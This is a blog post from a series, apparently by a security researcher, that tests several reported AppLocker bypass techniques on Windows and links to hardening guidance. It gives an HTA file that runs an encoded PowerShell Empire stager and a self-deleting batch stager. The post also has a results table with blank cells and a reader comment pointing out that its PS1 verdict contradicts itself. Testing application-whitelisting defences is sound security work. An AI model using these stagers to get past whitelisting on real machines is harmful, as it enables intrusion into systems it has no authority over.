This is part two of my blog series about the different bypasses that are supposed to work against AppLocker. I will, as I did in part 1 focus on the default rules in AppLocker. More details on the test technique and other juicy details can be found in my part 1 blogpost here (makes sense to read it first): https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
Technique 8 – MSDT.exe
This technique is done by creating a .diagcab file using Windows Troubleshooting Pack Designer tool that is supposed to be included in the Windows SDK. I installed the Windows 10 SDK, but I did not find TSPDesigner.exe. After reading this blogpost about the bypass I assume that you need Windows 7 SDK to get this tool.
The manual steps (without Windows Troubleshooting Pack Designer tool) is described here:
https://msdn.microsoft.com/en-us/library/windows/desktop/dd323712(v=vs.85).aspx
This technique also requires a code signing certificate to work. I did not test this technique, but I will revisit this when I get my hands on a code signing certificate and figure out how to create a .diagcab file.
If you are reading this and you got a ready made .diagcab file that can be used to test this bypass technique, please reach out to me.
Conclusion is that I don’t know yet if this is valid or not.
Technique 9 – mshta.exe
This technique executes hta files using the mshta.exe binary file.
The common command is:
mshta.exe c:\poc\evilfile.hta
For the evilfile.hta I have used the following code to try to get code execution:
<HTML>
<HEAD>
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "powershell -noP -sta -w 1 -enc <BASE64 ENCODED EMPIRE STAGER>"
</HEAD>
<BODY>
</BODY>
</HTML>
https://raw.githubusercontent.com/Cn33liz/StarFighters/master/StarFighter.vbs
StarFighter uses it’s own version of PowerShell and does not rely on PowerShell.exe. More info can be found on the Github project page here: https://github.com/Cn33liz/StarFighters
Basically all I did was to wrap html code around StarFighter.vbs, change the encoded payload with the one generate from my Empire installation and saved the file as .hta.
.NET framework 3.5 feature is something that is not enabled by default in Windows 10 on a clean install. But again, this is something that varies from company to company if this feature is enabled or not. This is often required by applications and therefore enabled as part of the company image.If it is not enabled you will see this when you try to execute StarFighter:
For details on how to block this technique – check out this blogpost:
https://oddvar.moe/2017/12/21/harden-windows-with-applocker-based-on-case-study-part-2/
This technique executes code in cmd based on input from a text file.
The common command looks like this:
cmd.exe /K < Technique10.txt
For this I have created an Empire batch stager.
The content for the Empire batch stager looks like this:
@echo off start /b powershell -noP -sta -w 1 -enc <BASE64 ENCODED EMPIRE STAGER> start /b "" cmd /c del "%~f0"&exit /b
This Empire stager was saved as Technique10.bat and I also created a copy of this batch file and called it Technique10.txt.
As a third test I created a file called Technique10VBS.txt that simply contained the following lines:
@echo off cscript c:\poc\StarFighter.vbs
I tried to execute this Empire batch stager directly from Explorer and cmd.exe. Both gave the same results and this error message:
This can be seen in the event log here:
I was pretty sure it would not work and I was right.
It gave me the following output:
I cannot see the “big danger” with this.
The users still cannot run any other binary files since the AppLocker policy still applies, meaning that evil.exe will still not run even if it is execute from a batch file. This technique will basically be the same as pasting commands into the command window.
Technique 11 – Execute .PS1
This technique executes code in PowerShell based on input from a text file.
The common command looks like this:
Get-Content Technique11.ps1 | iex
Since AppLocker now applies constrained language mode, any attack using this technique will still get blocked. I have not used a lot of time on this. This is however a method to use if you do not want to paste your script into PowerShell. It also turnes out that AppLocker actually does not block .PS1 files at all any more (change in Windows 10?). This must be a design decision due to constrained language mode.
The strange thing is that if you try to execute for instance this:
powershell -file c:\poc\technique11.ps1
This will tell you in the event log that it is blocked, but the output in the Powershell window tells me that it does not.
Conclusion is that this is a valid bypass technique for running PS1 scripts. AppLocker is supposed to stop that (unless MS has changed their mind), but this technique is basically the same as pasting the script into the PowerShell window.
Technique 12 – Execute .VBS
This technique executes code in vbscript based on input from a text file.
The common command looks like this:
cscript.exe //E:vbscript Technique12.vbs
For this technique I created a copy of my version of StarFighter.vbs (found in technique 9) and tried to execute.
As you can see in the screenshot this was blocked by AppLocker.
Conclusion is that this is not a valid bypass in any way.
Technique 13 – Presentationhost.exe
This technique uses something called “Windows Presentation Foundation browser Application” or more commonly known as Xml browser based Applications (XBAP) . In order to use this technique you have to generate a valid WPF application in Visual studio and inject the code you want to run inside it.
I was not able to find any good description or guides of this bypass technique.
All I found was a PPT from @subtee’s talk at ShmooCon 2015, but this does not go into details on how to create this application as a bypass.
The common command to execute this:
Presentationhost.exe C:\poc\technique13\WpfEvilBrowserApp4.xbap
I must be honest here and confess that I do not have enough skills to build a valid application to possibly run C# code as a bypass. What I did manage to do was to create a very basic WPF application that tries to execute c:\poc\technique13\evil.exe on the click of a button (I know, pretty impressive [sarcastic]… )
My basic code looks like this in Visual studio:
Results – Presentationhost.exe C:\poc\technique13\WpfEvilBrowserApp4.xbap
The application executes and starts up the main window.
When I try to execute using the button it fails and AppLocker blocks the .exe file. (This was expected)
I know that it does not make sense to try to execute a .exe file from within C#, but I unfortunately lack some skills in terms of C# coding and I am working on learning it. I will update this post when I have progresses with this.
Conclusion is that I have not concluded yet, but to me this seems like a valid attack angle for a bypass.
I need more time to create a possible attack using C# code. Hopefully someone will help me a bit on the way after reading this.
Summary – Part 2
| Technique | Valid bypass against default rules |
| MSDT.exe |  |
| Mshta.exe |  |
| Execute .BAT |  |
| Execute .PS1 | |
| Execute .VBS | |
| PresentationHost.exe | |
The verified bypasses is published in the verified bypass list on github found here:
https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/VerifiedBypasses-DefaultRules.md
A guide to mitigate the bypasses based on the results of this blogpost is located here:
https://oddvar.moe/2017/12/21/harden-windows-with-applocker-based-on-case-study-part-2/
Oddvar Moe's Blog 
You’ve mentioned like .ps1 is valid bypass. But in the summary you’ve kept cross mark.
Which one is correct?
LikeLike
It is not a valid bypass, since constrained language mode is applied. But it works as a method for running PowerShell scripts without typing it.
LikeLike